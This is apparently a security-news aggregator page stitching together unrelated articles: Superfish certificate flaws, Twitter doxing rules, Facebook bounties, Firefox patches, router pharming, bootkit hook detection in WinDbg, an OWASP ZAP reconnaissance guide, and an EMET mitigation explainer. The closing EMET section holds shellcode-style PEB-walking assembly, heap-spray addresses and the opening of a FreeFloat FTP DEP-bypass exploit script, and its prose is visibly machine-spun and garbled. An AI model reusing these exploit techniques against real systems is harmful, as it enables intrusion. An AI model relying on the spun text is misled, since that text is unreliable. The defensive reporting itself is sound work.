Aerosol

The shoddy state of SSL certificate validation on the Internet again floated to the surface, this time by the Superfish mess, which continues to get worse. The Electronic Frontier Foundation on Wednesday released a report based on data scoured from the Decentralized SSL Observatory which it maintains shows the number of certificates that were improperly validated by the Komodia library at the core of the Superfish fiasco has climbed to over 1,600. While it’s impossible to determine, EFF researchers say it’s probable that Komodia software did enable some real-world man-in-the-middle attacks. The Komodia software, which was built into the Superfish adware pre-installed on Lenovo computers, contains a vulnerability that breaks HTTPS connections and allows an attacker to pull off man-in-the-middle attacks. EFF staff technologists Jeremy Gillula and Joseph Bonneau said that some of the domains affected by Komodia include Google’s mail domain, Yahoo log-in domains, Bing, Windows Live Mail, Amazon, eBay checkout and Superfish.com among many others. “While it’s likely that some of these domains had legitimately invalid certificates (due to configuration errors or other routine issues), it seems unlikely that all of them did,” Gillula and Bonneau wrote in their report. “Thus it’s possible that Komodia’s software enabled real MitM attacks which gave attackers access to people’s email, search histories, social media accounts, e-commerce accounts, bank accounts, and even the ability to install malicious software that could permanently compromise a user’s browser or read their encryption keys.” Komodia’s behavior of adding a new root certificate and dubious alterations to a computer’s network stack, validates certificates that should otherwise raise a browser warning. “This means that an attacker doesn’t even need to know which Komodia-based product a user has (and thus which Komodia private key to use to sign their evil certificate)—they just have to create an invalid certificate with the target domain as one of the alternative names, and every Komodia-based product will cause it to be accepted,” they wrote. Gillula told Threatpost that contextually the situation is not surprising given that the certificate system has been teetering on disaster for some time, a situation that’s complicated by the sheer number of Certificate Authorities at work on the Internet, many of which could also be interdicted by law enforcement or repressive government. “The most egregious thing is the idea that companies think it’s OK to interfere with people’s encrypted traffic even on their own machines,” Gillula said. “That they think it’s OK to install a root cert and go to town on it.” Gillula said he was compelled by reports related to Superfish that pointed out that an attacker would have a relatively easy time sliding an invalid certificate into legitimate traffic by inserting the domain they wanted to use in a man-in-the-middle attack into the Subject Alternative Name field. “It would go right on through,” Gillula said. Searching for that scenario in the Decentralized SSL Observatory was also relatively simple, Gillula said. It required a query that searched for certificates that contained a unique string called verify_fail[domain name] in the Subject Alternative Name field used by one of the software applications identified as running the Komodia SSL Digester proxy. “Lo and behold, we discovered that a lot of these certs when they hit the proxy are invalid, but Komodia changes them and because of the alternative name, ended up being valid when they hit the browser,” Gillula said, adding that Komodia wipes away any traces of a potential man-in-the-middle attack making it impossible to determine whether an attack occurred or a merely a misconfigured certificate popped up in the search. The real problem, however, are the practices of third-party vendors such as adware purveyors like Superfish who build tools to intercept traffic and manipulate certificate validation, moving it outside the browser. “The lesson for vendors is that they should stop trying to man-in-the-middle SSL connections on customer machines,” Gillula said. “Unless they’re willing to put in a lot of significant engineering effort to verify they are doing things correctly, chances are there’s going to be a bug and it’s a dangerous thing to do.” Source

Twitter has revised and simplified its rules and process for reporting abusive behavior on the service, and users now have the ability to report people who are posting their personal information. The change essentially gives Twitter users a method to combat doxing, which is the process of dumping a victim’s personal information online. This often is done as a form of revenge or to embarrass someone. Doxing used to be done in forums or on underground sites, but Twitter has made it possible to broadcast the information to a much larger audience more quickly. Twitter officials are well aware of this problem, as well as the issue of more traditional abusive behavior on the service. So the company has changed the way that users can report such behavior and what kind of things they can report. Twitter said it has greatly increased the size of its staff handling these reports and is processing many more reports than just a few months ago. “Over the last six months, in addition to the product changes, we have overhauled how we review user reports about abuse. As an example, allowing bystanders to report abuse – which can now be done for reports of private information and impersonation as well – involved not only an update to our in-product reporting process, but significant changes to our tools, processes and staffing behind the scenes. Overall, we now review five times as many user reports as we did previously, and we have tripled the size of the support team focused on handling abuse reports,” Tina Bhatnagar, vice president of user services at Twitter said in a blog post. The change is a significant one for Twitter, as the service has evolved into the place where many people not only get their news, but also where people share remarkable personal and private information. The new reporting option also allows users to report abusive behavior that’s targeted at other people and not themselves. Twitter also is changing the way that is enforces the rules against problematic accounts. “We are also beginning to add several new enforcement actions for use against accounts that violate our rules. These new actions will not be visible to the vast majority of rule-abiding Twitter users – but they give us new options for acting against the accounts that don’t follow the rules and serve to discourage behavior that goes against our policies,” Bhatnagar said. Source

Less than two months into the year and Facebook said it has already validated more than 100 submissions to its bug bounty, demonstrating a consistently growing interest in such programs industry wide. “Report volume is at its highest levels, and researchers are finding better bugs than ever before,” said Colin Greene, security engineer at Facebook. Today, the social network reported its final bug bounty submission and payout numbers for 2014. Most notable: 61 percent of eligible vulnerability submissions were rated high severity by Facebook; that number eclipses 2013’s numbers by 49 percent. Overall, Facebook said it received 17,011 submissions, a 16 percent jump year over year, resulting in more than $1.3 million paid out to 321 researchers worldwide, an average payout of $1,800. Of the $1.3 million paid out, more than $250,000 went to the top five participants. Since the bounty program began in 2011, Facebook said it has paid out more than $3 million. Last week at the Kaspersky Lab Security Analyst Summit, HackerOne chief policy officer Katie Moussouris said it’s important that vulnerability disclosure programs directly feed an organization’s software development lifecycles. She also stressed the importance of strategic thinking with regard to bounty programs, for example, concentrate not only on finding and fixing one-off bugs, but also focus on eliminating classes of vulnerabilities and the development of mitigations as well. For its part, Facebook said its bounty program helped uncover a number of potentially serious vulnerabilities, including the discovery of hidden input parameters causing downstream issues. “After we fixed the instance from this report, we also fixed a few other spots and made improvements around duplicate parameters so that issues like this shouldn’t happen again,” Greene said. Greene also provided another example where legacy REST API calls were allowed to be made on behalf of any Facebook user because of a misconfiguration issue. An attacker would need only the user ID which could be obtained from the user’s profile or Graph API, Green said. Facebook has invested continuously in its bounty program. Last fall, it announced that it was adding an incentive for researchers to find bugs in its ads code. In particular, Facebook was hoping for some additional eyeballs on its ads code user interface, which includes the Ads Manager and Power Editor tools that enable users to edit and upload bulk ads—a number of permissions-based security issues arose in both of those areas, Facebook said. Also, its Ads API is an area Facebook said was also in scope. More than a year ago, Facebook paid out its largest bounty to date, $33,500 to Brazilian researcher Reginaldo Silva for a remote code execution vulnerability he reported in the OpenID implementation in Facebook that paved the way for attackers to pull of XXE attacks. Source

Mozilla has patched 16 security vulnerabilities in Firefox, including three critical flaws in the browser. One of the critical vulnerabilities patched with the release of Firefox 36 is a buffer overflow in the libstagefright library that can be exploitable under some circumstances. “Security researcher Pantrombka reported a buffer overflow in the libstagefright library during video playback when certain invalid MP4 video files led to the allocation of a buffer that was too small for the content. This led to a potentially exploitable crash,” the Mozilla advisory says. Among the other critical bugs patched in this release is a use-after-free vulnerability in the indexdDB component of the browser. “Security researcher Paul Bandha used the used the Address Sanitizer tool to discover a use-after-free vulnerability when running specific web content with IndexedDB to create an index. This leads to a potentially exploitable crash,” Mozilla said in its advisory. Firefox 36 also includes patches for a variety of memory safety vulnerabilities. The new release also includes fixes for a number of high-risk vulnerabilities, one of which affects the Mozilla updater function in the browser. The bug could let an attacker load malicious files. “Security researcher Holger Fuhrmannek reported that when the Mozilla updater is run directly, the updater will load binary DLL format files from the local working directory or from the Windows temporary directories. This occurs when it is run without the Mozilla Maintenance Service on Windows systems. This allowed for possibly malicious DLL files to execute with elevated privileges if a user agrees when a User Account Control (UAC) prompt from Windows is displayed,” the advisory says. The new browser also includes fixes for a handful of other medium and low-risk security bugs. Source

Pharming attacks are generally network-based intrusions where the ultimate goal is to redirect a victim’s web traffic to a hacker-controlled webserver, generally through a malicious modification of DNS settings. Some of these attacks, however, are starting to move to the web and have their beginnings with a spam or phishing email. Researchers at Kaspersky Lab have been watching this trend for some time, reporting in September on a particular campaign in Brazil targeting home routers using a combination of drive-by downloads and social engineering to steal banking and other credentials to sensitive web-based services. Messaging security company Proofpoint yesterday reported on the latest iteration of this attack, also based in Brazil. The campaign was carried out during a five-week period starting in December when Proofpoint spotted phishing messages, fewer than 100, sent to customers of one of the country’s largest telecommunications companies, Oi, also known recently as Telemar Norte Leste S/A. Users were sent a phishing email warning them of a past-due account and providing them a link supposedly to a portal where they could resolve the issue. Instead, the websites host code that carries out a cross-site request forgery attack against vulnerabilities in home UTStarcom and TP-Link routers distributed by the telco. The pages contain iframes with JavaScript exploiting the CSRF vulnerabilities if present on the routers. They also try to brute force the admin page for the router using known default username-password combinations. Once the attackers have access to the router, they’re able to change the primary DNS setting to the attacker-controlled site, and the secondary setting to Google’s public DNS. “Setting a functioning DNS server as the secondary will allow DNS requests from clients in this network to resolve even if the malicious DNS becomes unavailable, reducing the chance that the user will notice an issue and contact their telecom’s Customer Support line for assistance, which could lead to the discovery and eventual removal of the compromise,” Proofpoint said in its advisory. Via this method, the attacker bypasses the need to own public DNS servers in order to redirect traffic, and have an easier path to man-in-the-middle attacks, which they can use to sniff traffic, in this case for banking credentials, or email. “It’s elegantly vicious,” said Kevin Epstein, vice president, advanced security and governance at Proofpoint. “It’s an attack that, based on the way it’s constructed, is almost invisible. There are no traces on the laptop other than the [phishing] email and unless you’re a security pro logged into the router and know what the DNS is supposed to be, you can look at it and not realize it’s been compromised.” The best defense is to change the router password, especially if it’s still the default provided by the ISP. The potential for trouble extends well beyond this small campaign in Brazil; any router secured with default credentials is susceptible to this attack and a plethora of others. Kaspersky researcher Fabio Assolini, who lives in Brazil, said he’s seeing an average of four new such attacks daily. “It’s not a limited pharming campaign; it’s massive,” he said. Router hacks have been a growing nuisance in the last 12 to 18 months, with more white hat researchers looking into the breadth and severity of the issue. Some cases, such as the Misfortune Cookie vulnerability in a popular embedded webserver called RomPager, have put 12 million devices, including home routers, at risk of attack. Last summer during DEF CON, a hacking contest called SOHOpelessly Broken focusing on router vulnerabilities, yielded 15 zero-day vulnerabilities that were reported to vendors and patched. While in this case, the attackers targeted banking credentials for online accounts, Proofpoint’s Epstein said he can see that scope expanding. “As far as motive, the [proof of concept exploits] we saw seem financially motivated, which is typical of most cybercrime, but the technique is generally applicable,” he said. “If you wanted to harvest a bunch of traffic for a DDOS attack or get into a company, this is a way to do it and gain complete man-in-the-middle control over the user.” Source

Recently I got the idea to play around with bypassing bootkit disk filters from an email i received, which highlighted that my MBR spoofing code was able to get underneath the driver of a popular forensics tool, preventing it from reading the real disk sectors. Although I believe disk forensics should not be done on a live system, instead the disk should be mounted on a clean system and examined from there, I thought it would be fun to write a tool for bypassing various bootkit drivers and then post my research. Another email I received requested that I show how one would detect the presence of such filters from WinDbg, So I will try to cover both. Disk Filtering - Old and New Driver Module As I've shown in a previous article, disk filtering is usually done by hooking the IRP_MJ_SCSI field of the miniport driver's object. Another common method is hooking DriverStartIo; however, this field is only used in the old-style driver model and is set to NULL on most Vista+ systems. The drivers used depend on whether you use SCSI or ATA based hardware, but because all drivers follow the same model, I will simply use an ATA system in my examples. Old Driver Model Pre-Vista disk drivers would have a single ATA channel driver known as atapi.sys, which would provide the functionality of both a port and miniport. If a disk required a custom miniport, the vendor would have to write their own miniport + port driver, which is no small task. When a device receives a request such as IRP_MJ_SCSI, it queues it to the disk via IoStartPacket, which eventually calls the address held by the DriverStartIo field of the driver's object; thus hooking DriverStartIo would intercept any disk I/O requests, not just IRP_MJ_SCSI. New Driver Model The new driver model provides a Microsoft supplied port driver (ataport.sys) and miniport driver (atapi.sys), which work together to make up the channel interface. The port driver provides basic functionality, whilst the miniport provides hardware specific functionality; so, if a vendor needs a custom miniport driver, they could simply write their own miniport to interface with the Microsoft supplied port driver. With the new model the IRP_MJ_SCSI field of atapi's driver object points to a function within ataport.sys (IdePortDispatch), which handles and queues requests using an internal mechanism instead of IoStartPacket, meaning bootkits hooking only IRP_MJ_SCSI and DriverStartIo can be bypassed using passthrough operations (even from usermode). TDL Warning Although TDL is no longer active, I should mention that it hijacks kdcom.dll (the COM debugger extension) in such a way that it prevents it from starting. If you attempt to enable kernel debugging via COM on a TDL infected system, it will be completely bricked following reboot (even safemode won't load). Detecting Major Function Hooks with WinDbg First things first you need to find which disk is your boot disk (it's up you you how you do this), but in most cases it will be \Device\Harddisk0\DR0. Once you've made sure WinDbg has the correct symbols loaded, use !devstack to display the device stack and find the bottom most device (the miniport). Here is a normal output: In the case of some TDL4 infections, the miniport driver object (\driver\atapi) will appear to be invalid (it's not), but it prevents the !devobj and !drvobj commands from working, so we'll have to get the driver object associated with the miniport by using dt _DEVICE_OBJECT on the lowest device's object. Now we can examine the driver object (specifically the dispatch table) for major function pointer hooks. On a clean system all the dispatch routines should have addresses which resolve to symbols in either the miniport, port or ntoskrnl. On TDL4 infected systems the !drvobj command won't work, so you'll have to use dds (iv'e shown how to use both below). Major functions on a clean system shown with !drvobj Major functions on a clean system shown with dds On an infected system (TDL4) we will see something similar to the below. ote: all the dispatch routines point to the same address, which resides in pool memory (not normal). In an attempt to trick av tools, Rovnix redirects the pointers to jumps it wrote to unused space at the end of atapi.sys, hence the addresses don't resolve to a function, only a module. If the driver dispatch table appears to be clean, the next thing to do is disassemble the address pointed to by IRP_MJ_SCSI (IRP_MJ_INTERNAL_DEVICE_CONTROL), as this is the dispatch routine which handles disk read/write requests and could be inline hooked. In my case IRP_MJ_SCSI points to ataport!IdePortDispatch. A example of a clean IRP_MJ_SCSI handler It may be difficult to detect inline hooks, especially if existing jump/calls are modified. One should compare the module in memory against its disk image, accounting for relocation and imports (the best way to do this would be to have a driver map the disk image into memory and relocate it to point to the original module, allowing you to simply compare the two). Coming Soon Part 2: Detecting DriverStartIo hooks and driver object spoofing. Source

How To Assess a Third Party Web Site or Cloud Service with the OWASP ZAP Attack Proxy When You Don’t Have Permission to Pentest As a security professional, you will often be asked to give your opinion or assessment on the security of a third-party web site or cloud service. The person asking the question will usually have no authority to give you permission to run a penetration test on the remote site, and the chances that you can secure permission from the remote site’s owner will also be remote. If this happens to you, are you stuck? Actually, the answer is no. There is plenty of reconnaissance you can perform on a third-party service without requesting special permission, as long as you have a solid attack proxy and a plan. Introducing the OWASP ZAP Attack Proxy One of the top free tools in application security and pentester toolboxes these days is the OWASP ZAP attack proxy. (“ZAP” stands for “Zed Attack Proxy.”) In pentest mode, this tool can map a site, attempt exploits and fuzz input, but using these capabilities against a third-party site without the owner’s permission can be an invitation for trouble. Fortunately, third-party site owners usually grant permission during trial and demo periods to try out their site and service using normal web browsers and mobile devices. The trick to good (and legal) reconnaissance is to only capture and analyze the traffic available in the trial period, and this happens to be another application at which OWASP ZAP excels. Setting Expectations and Getting Internal Permission Before you do anything technical, however, you should set expectations and get some cover from the person who requested the assessment. In the process of doing this, you will also lay out your plan, request access to a demo account, and explicitly tell the requester what you are not going to do (i.e., “hack” or run a “pentest”). After you do more of these evaluations you will surely develop your own template, but the following message will get you started: For your own protection, please do NOT begin your research until you get: A positive acknowledgment to your “Is this OK?” question in writing. A working demo account, which you have tested using a regular Web browser. Planning Your Reconnaissance If you don’t get to hack, what can you do? Actually, the list of items you can investigate from normal traffic is often long enough to make a judgment call on the security posture of the target service. In this article we’ll cover “just” nine, but you could certainly look at many more. Use of HTTPS to protect traffic Quality of SSL certificate Avoids client-side secrets or authentication Up-to-date software Secure site headers Proper location and protection of vital assets Avoids information leakage through “extra” fields Access controls on web APIs (sometimes) Evaluation of legal and privacy policy Preparing OWASP ZAP and Your Browser To use OWASP ZAP in a noninvasive, passthrough mode, you need to set ZAP up as a proxy. From ZAP’s main menu, select “Tools | Options”. In the “Local Proxy” section, set the address and port your browser will use (The defaults are an address of “localhost” and a port “8080”). In the “Dynamic SSL” section, click the “Generate” button to create a CA certificate to use to facilitate your HTTPS connections. Still in the “Dynamic SSL” section, click the “Save” button to save a copy of this CA certificate as a *.cer file (You will want to import this CA into your browser soon to avoid “untrusted SSL certificate” blocks). Pick the Web browser you want to use to examine the remote site. Since I use Chrome for my daily browsing, I usually use Firefox as my secondary browser for Web analysis. Open your selected Web browser and set up its proxy settings, located here in current versions of Firefox (“Options” dialog, “Network” tab, “Connection” section, “Settings” button): …IE (“Settings” icon, “Internet Options” option, “Connections” tab, “LAN Settings” button) …and Chrome (“Settings” dialog, “Slow advanced settings…” link, “Network” section, “Change proxy settings…” button, then see “IE” entry above because it uses the same “Internet Properties” dialog as IE). Once you have configured your proxy, you should also import the proxy’s SSL CA certificate so your browser will not warn you about a bad certificate (the proxy’s certificate) every time you contact an HTTPS server. In Firefox, the list of trusted CA certificates is available from the “Certificates” tab in the program options. In IE and Chrome, the list of trusted CA certificates is also available through each browser’s options, but is actually saved in the local Windows operating system, not the browser itself. To test all this, restart your selected browser, make sure OWASP ZAP is running, and contact an HTTPS-protected site like https://www.google.com. You may immediately see a certificate warning page like this: …because the certificate presented by the proxy does not match the target, but you should have an option to “Add Exception” or “Proceed” because you already added the proxy’s certificate to your list of trusted CAs (E.g., you get a yellow warning you can ignore instead of a red error that stops you from proceeding). To proceed, click the available link and inspect the provided certificate. If you performed your steps correctly you will “OWASP” all over it. Click the “Permanently store this exception” box and then click the “Confirm Security Exception” button (or similar controls) to dismiss the error and proceed with your connections. Bypassing the Proxy for Certain Sites As you perform research on various sites, you may also want to set up a list of sites that will not be queried through the proxy. These settings are usually near your browser’s other proxy settings. For example, in Firefox, they are immediately below the proxy host and port settings. Performing Your Reconnaissance Now that you have OWASP ZAP and your browser set up, let’s proceed with some reconnaissance. Our sample target today will be a web services company called EventMobi, which hosts a public demo at MFG 2015. (Remember, we’re being non-invasive, so public resources are best!) Use of HTTPS to protect traffic To get started, simply open up the public demo link in your browser. (Do NOT enter it into the inviting little “URL to attack” field in OWASP ZAP!) Since we’re going through a proxy that may tie things up, you may need to refresh your browser (or perform the “Resolving Missing Images” procedure below) a few times to get all the content you want, but in less than a minute you should see a valid web page in your browser: …and some folders will start to appear in ZAP under the “Sites” list. Notice that pages are already listed as coming from “http” or “https.” In the case of our sample site, it’s clear that all content is being served from http, and that we haven’t been pushed to https automatically. To research this further and see if https is an option if we want secure transport, we can go back to the browser and simply change the main URL from MFG 2015 to https://eventmobi.com/mfg2015/attendees/76204. In this case, the site doesn’t load (there is an eternally spinning “loading” circle), so we switch to a “normal” browser (not going through the proxy) to confirm the lack of HTTP support. Since the behavior is the same with our proxied and normal browsers, we reach an unfortunate conclusion: this site doesn’t use HTTPS by default, and won’t support HTTPS if we ask for it. Resolving Missing Images To resolve images and other resources that come from other sites, you may need to perform the following procedure, especially if they are being served from HTTPS resources. Right-click the non-resolving resource (such as an image) and right-click “Copy Image Location” (or similar). In a new tab, paste the URL from the previous step. Click through any certificate resolution or other site-specific errors until the specific resource resolves. Go back to the tab with the main application and refresh it to resolve all resources from the same site. Assessment of Sample Site For “use of HTTPS to protect traffic,” we conclude that this site is weak because it doesn’t use HTTPS by default, and won’t support HTTPS if we ask for it. Quality of SSL certificate While we’re on the subject of HTTPS, we should step out out of our proxied browser again and inspect the real X.509 certificate being offered up by our target site. We can usually do this by clicking the lock or certificate icon near our page URL. Here is what that looks like in Chrome (my daily, non-proxy browser). To get even more information, click “Certificate information.” There are generally three things you want to look for here. First, make sure that there is a fully trusted path to a legitimate CA. This certificate is in good shape. Next, check the “CN” on the certificate (usually in the “Subject” field). In this case, the certificate looks like a “wildcard” certificate because the CN is for the entire domain rather than a specific server. This is often a good sign, because wildcard certificates indicate that a company is large or stable enough to spend the extra money on a site-wide certificate. Finally, take a look through the other fields on the certificate. In this case, there is an interesting list of what appears to be customer-specific sites in the “Subject Alternative Field.” If you plan on using your own domain name through the provider, having this list broadcast to anyone who connected to the provider’s Web site might or might not make you nervous. Assessment of Sample Site For “quality of SSL certificate” we conclude that this site is OK because it uses a valid X.509 certificate, but could be better since the certificate seems to be leaking the URLs of some other customer sites. Avoids client-side secrets or authentication Now that we’re done with SSL and certificates, let’s look at the application itself. To see how it works, click throughout the application in your proxied browser. (In other words, try to go everywhere you can through links, buttons and forms.) Once you have a nice set of data, return to the ZAP console and open the tree that corresponds to our target site (in this case, “http://evenmobi.com“). Then drill down into a particular request and click the “Response” tab to see what the target site is telling us. What we are mostly looking for here is JavaScript or other client code that is performing authentication requests, especially passwords accidentally sent to the client. (To help detangle hard-to-read JavaScript, remember to use a JavaScript Beautifier.) Our target site has a lot of its resources in a “webapp/view/high/js” tree, so we can drill down there to look at individual files. Another place to look for potential exposure is the history of requests at the bottom of the ZAP console. In this case, ZAP has highlighted a “*.js” file that contains the word “password” and warrants further inspection. A complete analysis of client code, authentication routines and unsafe password handling is beyond this article (and could take more time than the rest of the steps combined), but suffice it to say that our target site passed its inspection. Assessment of Sample Site For “avoids client-side secrets or authentication” we conclude that this site is fine because it doesn’t do client-side authentication and keeps its passwords safe on the server. Up-to-date software Most Web sites depend on a variety of third-party libraries and applications, and many sites lag behind the most current and secure versions of these components. This problem is so widespread that OWASP continues to track it as #9 in its Top Ten Web Vulnerabilities. Fortunately ZAP can help us look for these in three ways. First, we can look at Web site headers for Web software version numbers. Unless it’s suppressed by the target server or intervening firewall, this information will be displayed in any content response from the site. In this case we see that the site is claiming to run version 1.1.19 of the nginx Web server. Checking the nginx release history, we see that that version was released in April 2012 – almost three years ago. We can also look up nginx security vulnerabilities to see that our target server may have a number of “medium” severity vulnerabilities (fortunately no “major” vulnerabilities), including: SSL session reuse vulnerability Request line parsing vulnerability Memory disclosure with specially crafted HTTP backend responses Vulnerabilities with Windows directory aliases Second, we can use ZAP to look for application environment versions. These may be displayed if we access “Web application” files like *.php, *.aspx, etc. (Hiding this information is a best practice, so it may not appear on all sites.) n this case we see that the remote site is running PHP version 5.3.10, and is also probably running Ubuntu with a Linux kernel version of 3.15. That suggests that the operating system was updated at least once in the past year (OK), but that the PHP environment has been deprecated (all support, including security support, terminated in mid-2014). Finally, we can also use ZAP to check standardized JavaScript libraries and other includes for vulnerable versions. These may be easy to find in the list of downloaded assets: …or may be buried in inline page includes (which requires looking through downloaded content). In this case, we can check at least three standard libraries for known vulnerabilities: socket.io (version 0.9.11) – current version is 1.3.3; this version appears safe jquery (version 1.7) – current version is 1.9; this version appears safe keen (version 2.1.0) – current version is 3.2.2; this version appears safe etc… Assessment of Sample Site For “up-to-date software” we conclude that this site is worrisome because it is running a pretty old version of its Web server software with several known vulnerabilities and an out-of-support version of PHP. (The application JavaScript components appear fine, but the Web server and PHP issues are enough to cause concern.) Secure site headers A sign that a service takes security seriously is the use of special Web site headers designed to prevent XSS and related exploits. Many of these headers are detailed on other sites, but some of the best ones to look for are: X-Frame-Options: SAMEORIGIN or X-Frame-Options: DENY X-Content-Type-Options: nosniff (Missing) X-Powered-By… Strict-Transport-Security Content-Security-Policy Using ZAP, these would show up in the Response section of most file requests. Unfortunately, none of the secure headers we would like to see are used by our target site, and as we saw above, the target site quite happily uses an “X-Powered-By” header to tell us about the underlying application (PHP) and OS (Ubuntu Linux) environment. Assessment of Sample Site Our target site does not use any “secure site headers,” and does not suppress headers that may provide helpful information to hackers. Proper location and protection of vital assets One of the many things ZAP does well is organize detected assets by site of origin. This makes it easy to see where a target site stores its assets and runs its application. In the case of our target site we can see resources come from newrelic.com, linkedin.com, amazonaws.com and google-analytics.com, among other places. For now we will ignore the tracking and advertising sites and zero in on resources pulled from Amazon’s S3 storage service. To see these, open up the related tree until you can drill down to an asset. Notice that the full URL of each asset is available in ZAP. To see whether or not an asset is accessible without any access control, copy its URL into an “incognito” browser window in a non-proxy browser. (ZAP provides a right-click “Copy URLs to Clipboard” option for this exact purpose.) If you can pull up the resource in a fresh, incognito browser session, there is generally no access protection and anyone with the URL to the resource can access it. In some cases this is OK, but if confidential information is ever accessible in this way you could have a leak on your hands. Assessment of Sample Site In terms of “proper location and protection of vital assets” there are a number of company-specific assets that are stored on publicly-accessible storage at Amazon. Since all the information we plan to store in this application is public anyway, this is OK, but we would need to see a different storage mechanism in place with enforced access controls if we planned to use the service with any confidential information. Avoids information leakage through “extra” fields It is common for Web applications, particularly Web services, to provide “extra” information with requests that client-side (usually JavaScript) code will filter out. However, all this information is easily accessible to interested parties, including you. To look for this type of information using ZAP, look for large page or Web service requests in your history, then dig into the fields provided. Remember to cut/paste data in JSON prettifiers and other tools if you need help visualizing it. For example, here is an abbreviated response from our sample site: { "response":{ "id":"76204", "name":"Attendees", "items":[ { "id":"1812359", "first_name":"James Avery", "about":"", "image50":"50mfg-m-01.jpg", "image100":"100mfg-m-01.jpg", "title":"Support Specialist", "company_name":"Metropolitan Financial Group", "website":"http://www.eventmobi.com", "facebook":"http://www.facebook.com/eventmobi.com", "twitter":"http://twitter.com/eventmobi", "linkedin":"http://www.linkedin.com/in/eventmobi", "url":"http://api.eventmobi.com/en/api/v1/events/MFG2015/sections/76204/items/1812359" }, { "id":"1812360", "first_name":"Joe Baker", "about":"", "image50":"50crop_547c946dd931f_128_(1).jpg", "image100":"100crop_547c946dd931f_128_(1).jpg", "title":"CEO", "company_name":"Metropolitan Financial Group", "website":"http://www.eventmobi.com", "facebook":"http://www.facebook.com/eventmobi.com", "twitter":"http://twitter.com/eventmobi", "linkedin":"http://www.linkedin.com/in/eventmobi", "url":"http://api.eventmobi.com/en/api/v1/events/MFG2015/sections/76204/items/1812360" }, This is a block of JSON that shows that the target site will happily dump a complete attendee list, including self-provided contact information. Assessment of Sample Site In terms of “Avoids information leakage through “extra” fields” the target site is OK. Although interesting fields such as “linkedin” are revealed, they must be added by individual users and are probably easy to find through other publicly available sources. Access controls on web APIs After you have identified a few key API service calls in ZAP, copy the URLs out and try them in your incognito Web browser to see if they are protected by any access controls. In the case of our sample site, there do not appear to be any access controls on the API. Assessment of Sample Site In terms of “access controls on Web APIs” there do not appear to be any access controls. This may be OK for public information, but if information such as lists of attendees is sensitive, then we may be concerned. Evaluation of legal and privacy policy Finally, you can put ZAP down for a minute and read some legalese. Go back to the target site using a non-proxy Web browser and find its legal terms, privacy or security policy. For our target site, a privacy policy can be found at http://www.eventmobi.com/legal/privacy-policy/ At a high level, you are looking for promises of privacy or security made in the legal policy that do not seem to be backed up with technical controls. As it turns out, our target’s privacy policy is weak, but accurately describes what they do or do not do. In a section about the type of information collected and its use, our target accurately lists what they collect and states that the information of participants is “publicly available online” (as we saw while looking at Web service access controls). In the “Security” section we see a statement about “suitable procedures” to protect information collected online. This is vague enough to encompass what we saw in our investigation (e.g., no encryption for public information), but without more inspection we have to take our target on its word. Finally, another “Security” section contains a vague promise of “security measures,” and then honestly puts the onus of not posting anything confidential on the users. Assessment of Sample Site Our “evaluation of legal and privacy policy” did not give us great confidence in the security of the site, but it agrees with our overall technical assessment. For that reason, it strikes us as an honest policy. Filing Your Report Now that you have completed your analysis, it’s time to provide a recommendation based on your limited information. Remember that your requester is primarily looking for a simple answer to this question: “Is this service safe enough for the job?” A typical results report might resemble the following template. For example, an evaluation of our sample target might yield the following report. Source

In Part 1, we explained GS cookies and Safe SEH. If you haven’t read that part, it is highly recommended to read it first. The Enhanced Mitigation Experience Toolkit, or EMET, is rudimentally a shield or a shell that runs over Windows applications and protects them, regardless of how those applications have authentically been coded by their developer, to capitalize on security guards that are built into the Windows operating system. EMET is a wrapper that enables and enforces a set of protections that, when used together, genuinely enhance the security posture of a machine and greatly reduce the chance that exploits can run against your machine and cause any harm—most will simply fail to execute thoroughly. It is particularly auxiliary in guard against exploits that have not yet been patched by a software developer, making it a key implement that should be in your security arsenal. In this article we are going to explain EAF (Export Address Filtering), which prevents shellcode execution. This scenario comes into play if the attacker somehow has managed to bypass the previously mentioned exploit prevention mechanism. This technique will not let the attacker execute some important parts of the shellcode. It is an application-wide protection. It will inject EMET.dll inside the specified process for protection against shellcode execution. Shellcodes locate IAT using PEB.ldr. EAF prevents the access to this location. EMET.dll puts a hardware break point on read at PEB.Ldr and catches the exception using a Vectored Exception. This exception is the first handler, which means it will be called before any other Vectored Exception Handler. The handler will check if the faulty address is in the range other than loaded modules. In that way, the IAT parsing is prevented by EMET. The Vectored Exception Handler looks like this: In order to test it, we can use the following c file that mentions PEB.LDR in the code. __asm { xor edx, edx // zero edx mov edx, fs:[edx+0x30] // get a pointer to the PEB mov edx, [edx+0x0C] // get PEB->Ldr mov edx, [edx+0x14] // get the first module from the InMemoryOrder module list } This code chunk to get InMemoryOrder Module will fail under EAF. Heap spray protection The heap spraying technique has been used in browsers for so long now. Heap spraying is basically used to bypass ASLR (address space layout randomization). In this technique, a large chunk of data is allocated to a range where it is easy to predict the address. If we allocate a large buff, fill it with 0x04 only, and make it reach far beyond address 0x04040404, and after that, if we land at location 0x04040404, the following side effects would take place: MOV EAX,DWORD PTR DS:[ESI] << EAX == 0x04040404 CALL DWORD PTR DS:[EAX+10] << JMP 0x04040404 because [eax + 10] =0x04040404 Other NOP like behaving addresses are: 0x05050505 = ADD EAX,5050505 <<< acts as a NOP 0x0c0c0c0c = OR AL, 0C << also acts as a NOP 0x0d0d0d0d = OR EAX,0d0d0d0d EMET protects against heap spray by allocating memory at these regions and filling them with random data. Deep hooks This technique applies for ROP prevention. It prevents ROP attacks on a vulnerable application. The technique is predicated on the key observation that after exploitation it must use ROP code to leverage the attack, and in this process interact with system calls. Examples of such interaction include starting other processes, opening files, etc. Using this information, we can define a concept of critical function: A critical function is a function by executing which the attacker can modify system behavior, either by making modifications to the recollection or the current process. Some examples of critical functions include: 1 CreateProcess 2 VirtualProtect, VirtualAlloc, LoadLibrary – 3 OpenFile In order to exploit successfully, the ROP Code will require to call at least one critical function from the ROP code. Deep hooks utilize this observation to perform the checks only when one of the critical functions gets called: when a critical function gets called, the opportune checks will be performed to determine if the critical function was called from the ROP code or as a component of mundane program execution. It is quite important to note that ROPGuard does not contain a hardcoded list of critical functions. Instead, critical functions are defined in ROPGuard’s configuration file. In this way, critical functions can be integrated at any time to amend security and even process-categorical critical functions can be integrated. Similarly, critical functions can be abstracted in order to amend the performance of the system. It is additionally consequential to note that the current prototype bulwarks only the functions in the utilizer mode. To obviate the assailant from bypassing these functions, the same protections could be integrated to the kernel counterparts of the defined critical functions. In order to demonstrate that, we will use a ROP exploit on sample application protected using deep hooks. For a vulnerable application, we will use FreeFloat FTP Server Buffer Overflow Exploit (DEP Bypass) by blake. http://www.exploit-db.com/exploits/17886/ #!/usr/bin/python import socket, sys from struct import pack print "\n===============================" print "Freefloat FTP Server DEP Bypass" print " Written by Blake " print "===============================\n" target = 